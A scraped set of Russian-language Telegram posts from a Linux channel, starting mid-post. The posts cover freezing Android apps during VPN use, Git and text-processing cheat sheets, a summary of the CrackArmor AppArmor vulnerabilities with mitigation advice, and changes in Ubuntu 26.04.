pm disable-user --user 0 ru.sberbankmobile # приложение убито на уровне Package Manager,,

# Включение КВН клиента (например, v2rayNG) в фоне без UI:
am broadcast -a com.v2ray.ang.action.widget.click # стандартный вызов виджета


Песочницы не спасают от фоновой активности: маркетплейсы продолжают сканировать сеть,. Утилита Anubis связывает состояние КВН с системной заморозкой (pm disable-user) через инструмент Shizuku (работает без root). Пока КВН включен, приложения-стукачи полностью отключены на уровне ОС — у них нет процессов, они мертвы и физически не могут отправить твой IP или обнаружить туннель.


❗️❗️❗️ Нравится формат? Ставь 👍

👉 Рубрика: #News@LinuxSkill
⭐️ Зеркало в MAX

#КВН #Security #DPI #Anubis #Privacy #habr
Please open Telegram to view this post
VIEW IN TELEGRAM
👍9👎1
🚀 Тратишь часы на дебаг веток? Эти 41 команда Git решат 99% твоих задач

Хватит гуглить каждую мелочь — держи ультимативную шпаргалку ровно на 41 команду Git. Только хардкор и рабочие конструкции для консоли.

1. Создание репозитория и сохранение изменений

# Клонировать существующий репозиторий (Clone an existing repository)
$ git clone [url]

# Инициализировать новый проект (Initialize new version-controlled project)
$ git init

# Сохранить изменения в репозиторий (Save changes to the repository)
$ git add .
$ git commit -m "first commit"

# Текущее состояние репозитория (Current state of the repository)
$ git status



2. Управление ветками

# Создать новую ветку (Create a new branch)
$ git branch [branchName]

# Показать все локальные и удаленные ветки (List all remote or local branches)
$ git branch -a

# Удалить ветку (Delete a branch)
$ git branch -d [branchName]

# Слить изменения в текущую ветку (Merge changes into current branch)
$ git merge [branchName]

# Переключиться на существующую ветку (Checkout an existing branch)
$ git checkout [branchName]
$ git switch [branchName]

# Переключиться и создать новую ветку (Checkout and create a new branch with that name)
$ git checkout -b [newBranch]
$ git switch -c [newBranch]



3. Теги, синхронизация и удаленные репозитории

# Создать тег (Create a tag)
$ git tag [tagName]

# Удалить тег (Delete the tag)
$ git tag -d [tagName]

# Отправить теги (Push tags)
$ git push --tags

# Получить последнюю версию репозитория (Get the latest version of a repository)
$ git pull [branchName] [remoteURL/remoteName]

# Добавить удаленный репозиторий (Add remote repository)
$ git remote add [remoteName] [remoteURL]

# Отправить локальные коммиты в удаленный репозиторий (Send local commits to the remote repository)
$ git push [remoteURL/remoteName] [branch]

# Показать URL удаленных репозиториев (Show remote URLs)
$ git remote -v


4. Отмена действий и удаление файлов

# Отменить предыдущий коммит (Undo the previous commit)
$ git revert HEAD^

# Забыть о файлах, которые отслеживались, но теперь в .gitignore (Forget about files that were tracked but are now in .gitignore)
$ git rm -r --cached .
$ git add .
$ git commit -am "remove ignored files"

# Удалить файл из рабочего индекса (Remove a file from the working index (cached))
$ git rm --cached [fileName]

# Удалить файл принудительно (Delete a file (force))
$ git rm -f [fileName]

# Удалить всю директорию из рабочего индекса (Remove an entire directory from the working index (cached))
$ git rm -r --cached [directoryName]

# Удалить всю директорию принудительно (Delete an entire directory (force))
$ git rm -r -f [directoryName]

# Удалить удаленную ветку (Delete a remote branch)
$ git push origin :[branchName]


5. Прятанье изменений (Stash) и базовые настройки

# Спрятать текущую работу с неотслеживаемыми файлами (Store current work with untracked files)
$ git stash -u

# Вернуть спрятанную работу обратно в рабочую директорию (Bring stashed work back to the working directory)
$ git stash pop

# Задать имя автора для всех коммитов (Define the author name to be used for all commits)
$ git config --global user.name [name]

# Задать email автора для всех коммитов (Define the author email to be used for all commits)
$ git config --global user.email [email]

# Полезные руководства, поставляемые с Git (Helpful guides that come with Git)
$ git help -g


6. История, изменения и сложные переносы

# Показать лог коммитов (Show commit log)
$ git log
$ git log --oneline

# Показать изменения (Show changes)
$ git diff

# Изменить сообщение последнего коммита (Amend last commit message)
$ git commit --amend

# Посмотреть, кто менял файл (Blame a file)
$ git blame [fileName]

# Перенести конкретный коммит (Cherry-pick a commit)
$ git cherry-pick [commitHash]

# Выполнить rebase на другую ветку (Rebase onto another branch)
$ git rebase [branchName]


❗️❗️❗️ Нравится формат? Ставь 👍

👉 Рубрика: #шпаргалка@LinuxSkill
⭐️ Зеркало в MAX

#Linux #Git #DevOps #Sysadmin #CLI #Bash
Please open Telegram to view this post
VIEW IN TELEGRAM
👍5
🚨 Исследователи нашли в нём 9 критических дыр, которые дают root-права за секунды

Думаешь, дефолтный AppArmor надёжно защищает твой Linux и изолирует контейнеры? Исследователи нашли в нём 9 критических дыр, которые дают root-права за секунды. Сейчас разберём, как устроена эта атака и как спасти свою инфраструктуру.

# Проверяем версию ядра и статус работы AppArmor
uname -r
aa-status
# Уязвимость присутствует в коде ещё с 2017 года (с ядра версии 4.11)

Специалисты из Qualys Threat Research Unit раскрыли серию уязвимостей под общим названием CrackArmor. Проблема кроется в самом модуле AppArmor, который включен по умолчанию в Ubuntu, Debian и SUSE. Баг жил в продакшене незамеченным годами, поставив под удар более 12,6 миллионов систем по всему миру (включая enterprise-серверы, облака, IoT и Kubernetes-кластеры).

# Вектор атаки "confused deputy" эксплуатируется через стандартные утилиты:
sudo -l
su -

Все 9 уязвимостей относятся к классу «confused deputy». Это значит, что непривилегированный локальный пользователь может обмануть доверенные системные процессы (например, `sudo` или `su`), взаимодействуя со специфическими псевдофайлами. В итоге злоумышленник обходит политики безопасности, повышает свои права до root за считанные секунды, ломает изоляцию контейнеров или провоцирует отказ в обслуживании (DoS).

План спасения инфраструктуры от CrackArmor:
• Немедленно обновить ядро Linux, как только патчи будут доступны.
• Жёстко ограничить доступ к серверу для недоверенных локальных пользователей.
• Настроить мониторинг любых изменений в профилях AppArmor.
• Пересмотреть использование привилегированных утилит (su, sudo).

На момент раскрытия информации уязвимостям даже не успели присвоить идентификаторы CVE. Этот провал — отличное напоминание о том, что нельзя полагаться только на один механизм изоляции. Разработчики настоятельно рекомендуют использовать эшелонированную защиту (defense-in-depth) и максимально быстро накатывать обновления ядра.


❗️❗️❗️ Нравится формат? Ставь 👍

👉 Рубрика: #News@LinuxSkill
⭐️ Зеркало в MAX

#linux #apparmor #crackarmor #infosec #linuxjournal
Please open Telegram to view this post
VIEW IN TELEGRAM
👍6👀1
🦝 Твои скрипты могут сломаться: Баги Rust-coreutils в Ubuntu 26.04

Ubuntu 26.04 LTS Resolute Raccoon вышла, но под капотом столько изменений, что твои старые скрипты и контейнеры могут внезапно посыпаться.

Что нужно знать

sudo do-release-upgrade -d

Для самых нетерпеливых на 25.10. Если ты на 24.04 LTS, официальное уведомление прилетит только в августе с выходом 26.04.1 — и это безопасный путь.

gnu --version
# Или временный фикс в .bashrc, если Rust-утилиты глючат:
alias cp='gnu cp'
alias mv='gnu mv'
alias rm='gnu rm'

В системе теперь rust-coreutils, но cp, mv и rm оставили от GNU из-за критических багов с TOCTOU (состояние гонки). Если твоя автоматизация ведет себя странно, используй префикс `gnu` для классических версий.

# Если бесят звездочки при вводе пароля, добавь в /etc/sudoers:
Defaults !pwfeedback

Новый sudo-rs на Rust теперь по умолчанию показывает звездочки при вводе. Отключаем, если привык к классической "пустоте".


grep cgroup /proc/filesystems

Поддержка cgroup v1 в systemd 259 полностью вырезана. Старые контейнеры (например, Ubuntu 14.04/16.04) на этом хосте больше не взлетят.

sudo apt install qemu-hwe libvirt-hwe
# Переключение стека:
ubuntu_virt_helper

Для серверов завезли стек virt-hwe, который обновляется дважды в год. Удобно, если нужно свежее ядро и либы для виртуализации на новом железе.


ls /run/media/$USER/

Внешние диски теперь монтируются сюда, а не в /media. Проверь пути в своих скриптах бэкапа, иначе они ничего не найдут.


sudo apt install authd

Новая тулза для интеграции с Microsoft Entra ID и Google Cloud Identity. Теперь можно логиниться в Linux под облачными учетками.



❗️❗️❗️ Нравится формат? Ставь 👍

👉 Рубрика: #News@LinuxSkill
⭐️ Зеркало в MAX

#ubuntu #linux #sysadmin #devops #lts
Please open Telegram to view this post
VIEW IN TELEGRAM
👍4
🔍 Тратишь часы на дебаг? Эти 53 команды Linux распарсят любой лог

Хватит мучить текстовые редакторы, держи ультимативный набор из 53 команд для обработки текста прямо в консоли.

1. Манипуляции с sed (замена и удаление)

# Заменить текст в файле
$ sed 's/old/new/g' [file]

# Сохранить изменения в файле напрямую
$ sed -i 's/old/new/g' [file]

# Регистронезависимая замена
$ sed -i 's/old/new/gI' [file]

# Удалить строки, подходящие под паттерн
$ sed '/pattern/d' [file]

# Удалить все пустые строки
$ sed -i '/^$/d' [file]

# Вывести строки с 5 по 10
$ sed -n '5,10p' [file]

# Печатать только строки, подходящие под паттерн
$ sed -n '/pattern/p' [file]



2. Мощный awk (извлечение и условия)

# Вывести первое поле (колонку)
$ awk '{print $1}' [file]

# Использовать двоеточие как разделитель и вывести 1 и 3 поля
$ awk -F: '{print $1, $3}' [file]

# Вывести номер строки и всё содержимое
$ awk '{print NR, $0}' [file]

# Фильтровать строки, где значение в 3 колонке больше 100
$ awk '$3 > 100' [file]

# Найти паттерн и вывести вторую колонку
$ awk '/pattern/ {print $2}' [file]

# Вывести строки в диапазоне от 5 до 10
$ awk 'NR>=5 && NR<=10' [file]

# Просуммировать числа в первой колонке
$ awk '{sum += $1} END {print sum}' [file]



3. Сортировка и фильтрация дубликатов

# Обычная сортировка строк
$ sort [file]

# Числовая сортировка
$ sort -n [file]

# Сортировка в обратном порядке
$ sort -r [file]

# Сортировка по 3-й колонке с разделителем двоеточие
$ sort -t: -k3 -n [file]

# Убрать дубликаты при сортировке
$ sort -u [file]

# Показать только уникальные строки
$ uniq [file]

# Посчитать количество повторений строк
$ uniq -c [file]

# Показать только повторяющиеся строки
$ uniq -d [file]

# Показать только те строки, что не повторялись
$ uniq -u [file]

# Найти самые частые строки в файле
$ sort [file] | uniq -c | sort -rn



4. Обрезка и трансформация текста

# Вырезать первую колонку с разделителем двоеточие
$ cut -d: -f1 [file]

# Вырезать 1 и 3 колонки с разделителем запятая
$ cut -d',' -f1,3 [file]

# Вырезать первые 10 символов в каждой строке
$ cut -c1-10 [file]

# Перевести все буквы в верхний регистр
$ tr 'a-z' 'A-Z' < [file]

# Удалить все цифры из текста
$ tr -d '[:digit:]' < [file]

# Сжать идущие подряд пробелы в один
$ tr -s ' ' < [file]

# Заменить символы переноса строки на пробелы
$ tr '\n' ' ' < [file]



5. Сравнение, слияние и форматирование

# Найти различия между двумя файлами
$ diff [file1] [file2]

# Различия в унифицированном формате
$ diff -u [file1] [file2]

# Сравнить файлы бок о бок
$ diff -y [file1] [file2]

# Показать общие и уникальные строки
$ comm [file1] [file2]

# Побайтовое сравнение файлов
$ cmp [file1] [file2]

# Склеить файлы горизонтально
$ paste [file1] [file2]

# Склеить файлы с разделителем запятая
$ paste -d',' [file1] [file2]

# Склеить все строки файла в одну
$ paste -s [file]

# Объединить файлы по общему полю
$ join [file1] [file2]

# Объединить по 1-му полю первого файла и 3-му полю второго
$ join -t: -1 1 -2 3 [file1] [file2]

# Форматировать текст в ровные колонки
$ column -t [file]

# Форматировать CSV в колонки
$ column -t -s',' [file]



6. Перенос, нумерация и статистика

# Ограничить ширину текста до 80 символов
$ fmt -w 80 [file]

# Жесткий перенос строк по 80 символов
$ fold -w 80 [file]

# Перенос строк по словам на 80 символов
$ fold -s -w 80 [file]

# Пронумеровать строки (кроме пустых)
$ nl [file]

# Пронумеровать все строки
$ nl -ba [file]

# Вывести содержимое с нумерацией строк
$ cat -n [file]

# Статистика: строки, слова, символы
$ wc [file]

# Посчитать количество строк
$ wc -l [file]

# Посчитать количество слов
$ wc -w [file]

# Посчитать количество байт
$ wc -c [file]


Теперь ты знаешь, как превратить любой нечитаемый текст в идеальный отчет за пару секунд. Сохраняй, чтобы не потерять ключи sed в самый ответственный момент!


❗️❗️❗️ Нравится формат? Ставь 👍

👉 Рубрика: #шпаргалка@LinuxSkill
⭐️ Зеркало в MAX

#Linux #TextProcessing #Bash #DevOps #Sysadmin #CLI
Please open Telegram to view this post
VIEW IN TELEGRAM
👍14
🚮 Твои скрипты не запустятся: Что удалили в Ubuntu 26.04

Ubuntu 26.04 LTS «Resolute Raccoon» не просто обновилась — она знатно «похудела», выкинув пакеты и технологии, на которых годами держались твои конфиги и контейнеры.

Список «потерь»

# Проверка поддержки cgroup
grep cgroup /proc/filesystems


Поддержка cgroup v1 (legacy и hybrid) полностью вырезана из systemd 259. Если твои контейнеры (например, старая Ubuntu 16.04) требуют v1, на этом хосте они не заведутся.

# Поиск сессий Xorg
ls /usr/share/xsessions/

Сессия Xorg/X11 удалена из стандартной поставки GNOME. Теперь только Wayland. Приложения X11 работают через прослойку XWayland, но прямых иксов больше нет.

# Попытка добавить ключ (выдаст ошибку или предупреждение)
sudo apt-key add repository.key

Утилита apt-key окончательно удалена. Для управления ключами репозиториев теперь нужно использовать gpgv напрямую, как описано в man apt-secure.

# Проверка статуса сетевых сервисов
sudo systemctl status nfs-blkmap

Сервисы blkmapd и nfs-blkmap для NFS удалены. pNFS block layout признан небезопасным (риск потери данных) в пользу SCSI/NVMe layouts.

# Поиск ядра lowlatency
dpkg -l | grep linux-lowlatency

Пакет linux-lowlatency отправлен на покой. Вместо него теперь используется метапакет lowlatency-kernel, который тюнит стандартное ядро через параметры загрузки в GRUB.

Для тех, кто на мейнфреймах
Поддержка IBM Z z14 (LinuxONE II) и старше прекращена


Ubuntu 26.04 теперь требует минимум архитектуру z15. Старое железо не поддерживается инсталлятором и апгрейдером.

Что заменили в GUI (удалили из дефолта):
Totem -> Showtime
Evince -> Papers
GNOME Terminal -> Ptyxis
Eye of GNOME -> Loupe
System Monitor -> Resources


Классические приложения заменены на новые аналоги на Rust и GTK4. Также из базовой установки вырезаны Software & Updates и Startup Applications (их функции теперь в настройках системы).


❗️❗️❗️ Нравится формат? Ставь 👍

👉 Рубрика: #News@LinuxSkill
⭐️ Зеркало в MAX

#ubuntu #linux #sysadmin #devops #lts
Please open Telegram to view this post
VIEW IN TELEGRAM
👍13